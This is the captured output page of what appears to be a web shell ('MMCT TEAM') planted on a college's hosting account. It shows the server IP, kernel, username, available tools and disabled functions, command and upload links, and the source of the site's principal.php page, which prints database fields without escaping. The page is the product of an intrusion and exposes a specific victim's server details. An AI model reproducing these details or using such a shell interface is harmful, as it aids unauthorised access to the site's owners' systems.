MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/renukadebibedcollege.org/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/renukadebibedcollege.org/principal.php
<?php include("include/header.php");
    $row=mysqli_fetch_assoc(mysqli_query($con,"select * from principal order by id desc limit 1"));
?>
		<div class="cbp-row wh-page-title-bar">
			<div class="cbp-container">
				<div class="one whole wh-padding wh-page-title-wrapper">
					<h1 class="page-title">Principal’s message</h1>
				</div>
			</div>
		</div>
		<div class="cbp-row wh-content">
			<div class="cbp-container">
				<div class="three fourths wh-padding wh-content-inner">
					<div class="vc_row wpb_row vc_row-fluid">
						<div class="wpb_column vc_column_container vc_col-sm-6">
							<div class="vc_column-inner">
								<div class="wpb_wrapper">
									<div  class="wpb_single_image wpb_content_element vc_align_left  vc_custom_1570597086914">
										<figure class="wpb_wrapper vc_figure">
											<div class="vc_single_image-wrapper   vc_box_border_grey">
											    <img width="400" height="274" src="admin/images/<?=$row['image']?>" class="vc_single_image-img attachment-full" alt="" />
										    </div>
										</figure>
									</div>
								</div>
							</div>
						</div>
						<div class="wpb_column vc_column_container vc_col-sm-6">
							<div class="vc_column-inner">
								<div class="wpb_wrapper">
									<h2 style="font-size: 28px;color: #000000;text-align: left" class="vc_custom_heading vc_custom_1570597875142" >Message from Principal</h2>
									<div class="wpb_text_column wpb_content_element " >
										<div class="wpb_wrapper">
											<?=$row['content'];?>
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
				<div class="wh-sidebar one fourth wh-padding">
					<div class="widget recent-posts-4 widget_recent_entries">
						<h5 class="widget-title">Recent News</h5>
						<ul>
						    <?php
						        $newsQ=mysqli_query($con,"select * from news order by id desc limit 5");
						        while($newsR=mysqli_fetch_assoc($newsQ)){
						    ?>
							<li>
								<a href="news.php?csrf=<?=$newsR['id'];?>"><?=$newsR['subject'];?></a>
							</li>
							<?php
							    }
							?>
						</ul>
					</div>
				</div>
			</div>
		</div>
		<?php include("include/footer.php");?>

MMCT - 2023